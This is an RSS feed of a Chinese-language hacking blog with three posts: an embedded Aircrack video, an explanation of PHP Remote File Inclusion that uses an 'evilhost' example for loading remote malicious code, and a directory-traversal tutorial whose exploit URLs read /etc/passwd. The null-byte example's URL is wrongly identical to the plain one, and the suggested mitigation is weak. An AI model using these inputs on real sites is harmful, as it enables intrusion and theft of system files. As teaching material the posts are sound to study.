<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EragonJ - A humble navigator &#187; Hack</title>
	<atom:link href="http://eragonj.hax4.in/blog/category/hack/feed" rel="self" type="application/rss+xml" />
	<link>http://eragonj.hax4.in/blog</link>
	<description></description>
	<lastBuildDate>Thu, 05 Jan 2012 12:33:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>[Hack] How to crack wireless? &#8211; With Aircrack</title>
		<link>http://eragonj.hax4.in/blog/hack-how-to-crack-wireless-with-aircrack.html</link>
		<comments>http://eragonj.hax4.in/blog/hack-how-to-crack-wireless-with-aircrack.html#comments</comments>
		<pubDate>Mon, 01 Feb 2010 17:28:27 +0000</pubDate>
		<dc:creator>EragonJ</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[Aircrack]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://eragonj.hax4.in/?p=152</guid>
		<description><![CDATA[Tweet 老師說寫作文要破題，直接看影片比較快XD， 下次一定要自己來試試看整個流程看看能不能成功!!]]></description>
			<content:encoded><![CDATA[<div class="bottomcontainerBox" style="border:1px solid #808080;background-color:#F0F4F9;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Feragonj.hax4.in%2Fblog%2Fhack-how-to-crack-wireless-with-aircrack.html&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:80px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://eragonj.hax4.in/blog/hack-how-to-crack-wireless-with-aircrack.html"></g:plusone>
			</div>
			<div style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://eragonj.hax4.in/blog/hack-how-to-crack-wireless-with-aircrack.html"  data-text="[Hack] How to crack wireless? &#8211; With Aircrack" data-count="horizontal" data-via="EragonJ">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div><p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/jETwvEDaJeQ&#038;hl=zh_TW&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/jETwvEDaJeQ&#038;hl=zh_TW&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
<p>老師說寫作文要破題，直接看影片比較快XD，</p>
<p>下次一定要自己來試試看整個流程看看能不能成功!!</p>
]]></content:encoded>
			<wfw:commentRss>http://eragonj.hax4.in/blog/hack-how-to-crack-wireless-with-aircrack.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Hack] Remote File Inclusion</title>
		<link>http://eragonj.hax4.in/blog/hack-remote-file-inclusion.html</link>
		<comments>http://eragonj.hax4.in/blog/hack-remote-file-inclusion.html#comments</comments>
		<pubDate>Sat, 11 Apr 2009 04:03:00 +0000</pubDate>
		<dc:creator>EragonJ</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[Remote File Inclusion]]></category>
		<category><![CDATA[RFI]]></category>

		<guid isPermaLink="false">http://eragonj.hax4.in/?p=24</guid>
		<description><![CDATA[Tweet 之前意外的發現一個web可以透過RFI的方式進入，但是我一直try都沒有辦法讓他include正確的外部phpinfo.php，結果在今天意外的看到一篇文章才了解到問題所在: &#60;?php include($dir.&#34;/ attack.php&#34;);?&#62; 上例中“$dir”一般是一個在執行代碼前已經設定好的路徑，如果攻擊者能夠使得“$dir”沒有被設定的話，那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個檔案“attack.php”，裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”，這樣我們就可以在目標主機上執行上面的惡意代碼，將結果返回到客戶的瀏覽器中。 需要注意的是，攻擊伺服器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊伺服器，而不是目標伺服器執行。 &#8230;取自Phate 所以可以了解的是，因為我之前是直接include到我的機器上，所以該phpinfo.php顯示的是我自己機器的資料，這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上，用RFI直接include就可以了。 前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include，這樣RFI才會成功，要注意一下。]]></description>
			<content:encoded><![CDATA[<div class="bottomcontainerBox" style="border:1px solid #808080;background-color:#F0F4F9;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Feragonj.hax4.in%2Fblog%2Fhack-remote-file-inclusion.html&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:80px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://eragonj.hax4.in/blog/hack-remote-file-inclusion.html"></g:plusone>
			</div>
			<div style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://eragonj.hax4.in/blog/hack-remote-file-inclusion.html"  data-text="[Hack] Remote File Inclusion" data-count="horizontal" data-via="EragonJ">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div><p>之前意外的發現一個web可以透過RFI的方式進入，但是我一直try都沒有辦法讓他include正確的外部phpinfo.php，結果在今天意外的看到一篇文章才了解到問題所在:</p>
<p><code><br />&lt;?php<br />  include($dir.&quot;/ attack.php&quot;);<br />?&gt;<br /></code></p>
<blockquote><p>上例中“$dir”一般是一個在執行代碼前已經設定好的路徑，如果攻擊者能夠使得“$dir”沒有被設定的話，那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個檔案“attack.php”，裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”，這樣我們就可以在目標主機上執行上面的惡意代碼，將結果返回到客戶的瀏覽器中。</p>
<p>需要注意的是，攻擊伺服器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊伺服器，而不是目標伺服器執行。</p>
<p>&#8230;取自<a href="http://www.phate.tw/thread-5797-1-1.html">Phate</a></p></blockquote>
<p>所以可以了解的是，因為我之前是直接include到我的機器上，所以該phpinfo.php顯示的是我自己機器的資料，這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上，用RFI直接include就可以了。</p>
<blockquote><p>  前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include，這樣RFI才會成功，要注意一下。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://eragonj.hax4.in/blog/hack-remote-file-inclusion.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Hack] Directory Traversal</title>
		<link>http://eragonj.hax4.in/blog/hack-directory-traversal.html</link>
		<comments>http://eragonj.hax4.in/blog/hack-directory-traversal.html#comments</comments>
		<pubDate>Sun, 15 Mar 2009 07:25:00 +0000</pubDate>
		<dc:creator>EragonJ</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[Directory Traversal]]></category>

		<guid isPermaLink="false">http://eragonj.hax4.in/?p=22</guid>
		<description><![CDATA[Tweet 來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的.. Live Demo(index.php):&#60;?php//初始化參數if(!$path){ $path="test"; $xpath ="";} define("PATHFIELD",0);define("FILEFIELD",1);define("EXTFIELD",2); $class="xxxxxx"; //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白$filecount=0; //Count file(not directory) num$dircount=0; //Count dir num $dir=@opendir($path); //讀取目錄資料並至於陣列當中while($file=@readdir($dir)){ if(is_dir("$path/$file")) { if($file=="."&#124;&#124;$file=="..") continue; $examdir[$dircount++]="$file"; } else if(is_file("$path/$file")) { if($file=="class.conf.php") require("$path/$file"); //取得目錄提示資料 $exten=substr($file,-3,3); //Get file extention if(!strcasecmp($exten,"pdf")&#124;&#124;!strcasecmp($exten,"gif")&#124;&#124;!strcasecmp($exten,"zip")) { $examfile["$filecount"][PATHFIELD]="$path/$file"; $examfile["$filecount"][FILEFIELD]="$file"; $examfile["$filecount"][EXTFIELD]="$exten"; $filecount++; } }} 討論: 從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 [...]]]></description>
			<content:encoded><![CDATA[<div class="bottomcontainerBox" style="border:1px solid #808080;background-color:#F0F4F9;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Feragonj.hax4.in%2Fblog%2Fhack-directory-traversal.html&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:80px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://eragonj.hax4.in/blog/hack-directory-traversal.html"></g:plusone>
			</div>
			<div style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://eragonj.hax4.in/blog/hack-directory-traversal.html"  data-text="[Hack] Directory Traversal" data-count="horizontal" data-via="EragonJ">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div><p>來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的..</p>
<p>Live Demo(index.php):<br /><code><br />&lt;?php<br />//初始化參數<br /><span style="color: rgb(255, 0, 0);">if(!$path)</span><br /><span style="color: rgb(255, 0, 0);">{</span><br /><span style="color: rgb(255, 0, 0);">   $path="test";       </span><br /><span style="color: rgb(255, 0, 0);">   $xpath ="";</span><br /><span style="color: rgb(255, 0, 0);">}</span></p>
<p>define("PATHFIELD",0);<br />define("FILEFIELD",1);<br />define("EXTFIELD",2);</p>
<p>$class="xxxxxx";     //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白<br />$filecount=0;  //Count file(not directory) num<br />$dircount=0;   //Count dir num</p>
<p><span style="color: rgb(255, 0, 0);">$dir=@opendir($path);</span></p>
<p>//讀取目錄資料並至於陣列當中<br />while($file=@readdir($dir))<br />{<br />  if(is_dir("$path/$file"))<br />  {<br />     if($file=="."||$file=="..")<br />        continue;<br />     $examdir[$dircount++]="$file";<br />  }<br />  else if(is_file("$path/$file"))<br />  {<br />     if($file=="class.conf.php")<br />        require("$path/$file");        //取得目錄提示資料<br />     $exten=substr($file,-3,3);  //Get file extention<br />     if(!strcasecmp($exten,"pdf")||!strcasecmp($exten,"gif")||!strcasecmp($exten,"zip"))<br />     {<br /> $examfile["$filecount"][PATHFIELD]="$path/$file";<br /> $examfile["$filecount"][FILEFIELD]="$file";<br /> $examfile["$filecount"][EXTFIELD]="$exten";<br /> $filecount++;<br />     }<br />  }<br />}<br /></code></p>
<p>討論:</p>
<p>從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 DT 的問題 , 所以就沒有對一些具有攻擊性的字做filter or 白名單過濾 , 所以當 $path 來個 &#8220;../&#8221; 就掰囉~從父目錄一直到根目錄都一覽無遺&#8230; </p>
<p>Demo PHP Code 1(index.php):<br /><code><br />&lt;?php<br />   readfile('/home/xx/file/'.$_GET['file']);<br />?&gt;<br /></code></p>
<p>Exploit:<br /><code><br />   http://target/index.php?file=../../etc/passwd<br /></code></p>
<p>討論:</p>
<p>結果Unix Like的passwd的檔案就會被顯示出來 = =&#8221;&#8230;</p>
<p>Demo PHP Code 2(index.php):<br /><code><br />&lt;?php<br />   readfile('/home/xx/file/'.$_GET['file'].'.dat');<br />?&gt;<br /></code></p>
<p>Exploit:<br /><code><br />   http://target/index.php?file=../../etc/passwd<br /></code></p>
<p>討論:</p>
<p>利用 NULL character 來把後面的.dat給無用化 , 這樣就可以讀到passwd的內容了..</p>
<p>防範:</p>
<p>利用basename()把後面的東西做filter , 像是在$path那邊可以改成這樣 , <br /><code><br />$path = str_replace('.','',$path);<br />$true_path = "/www/".basename($path); <br /></code><br />則所有的&#8217;.'都會被換成&#8217; &#8216;,這樣就可以再依個人需求做變化 , 大致上應該是不會有太多問題了</p>
]]></content:encoded>
			<wfw:commentRss>http://eragonj.hax4.in/blog/hack-directory-traversal.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

